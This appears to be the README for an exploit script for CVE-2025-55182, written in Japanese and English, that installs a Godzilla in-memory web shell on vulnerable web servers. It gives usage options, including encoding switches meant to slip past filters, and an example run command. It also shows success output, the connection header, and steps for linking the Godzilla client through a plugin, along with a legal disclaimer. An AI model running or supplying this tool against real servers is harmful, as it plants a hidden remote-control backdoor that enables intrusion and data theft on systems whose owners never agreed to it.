
CVE-2025-55182用のエクスプロイトスクリプト。脆弱なWebサーバー上にGodzillaメモリシェルを展開し、プロキシおよびエンコーディングオプションに対応しています。
usage: exploit.py [-h] [--proxy PROXY] [--utf16] [--unicode] --key KEY
--target TARGET
CVE-2025-55182 Godzilla Memoryshell
options:
-h, --help show this help message and exit
--proxy PROXY HTTP proxy address, e.g. http://127.0.0.1:8888
--utf16 Enable UTF-16 encoding
--unicode Enable full unicode escape encoding
--key KEY Godzilla Key
--target TARGET Target URL for exp.exploit()
python exploit.py --key 666 --target http://127.0.0.1:3000
This tool is only suitable for conducting security research, vulnerability detection and related compliance testing on your own systems or explicitly authorized environments within the scope of legal authorization. Any unauthorized, illegal or infringing penetration, attack or other improper use of this tool is strictly prohibited. Users must fully understand and abide by the laws and regulations of their jurisdiction before use, ensure that the purpose of use is legal and compliant, and bear full responsibility for all risks and consequences arising from use. The developer assumes no responsibility for the consequences of any unauthorized or improper use.
本ツールは、合法的な許可範囲内において、自身のシステムまたは明確に許可された環境に対して、セキュリティ研究、脆弱性検出、および関連するコンプライアンステストを実施するためにのみ適しています。本ツールを許可なく、違法または権利侵害となる侵入、攻撃、その他の不適切な目的で使用することは固く禁じられています。ユーザーは使用前に、管轄区域の法律および規制を十分に理解し遵守し、使用目的が合法かつ準拠していることを自ら確認し、使用中に生じるすべてのリスクと結果に対して完全な責任を負うものとします。開発者は、許可されていないまたは不適切な使用によって生じたいかなる結果に対しても責任を負いません。
(y/n): y
[*] exploit ok!
[*] connect header
Next-Action: cd3f0c85b158c08a2b113464991810cf2cdfc387
使用前にGodzillaNodeJsPayloadプラグインをGodzillaにロードしてください。keyはGodzillaのkeyを使用します。接続時にpasswordパラメータは不要です。
https://github.com/BeichenDream/GodzillaNodeJsPayload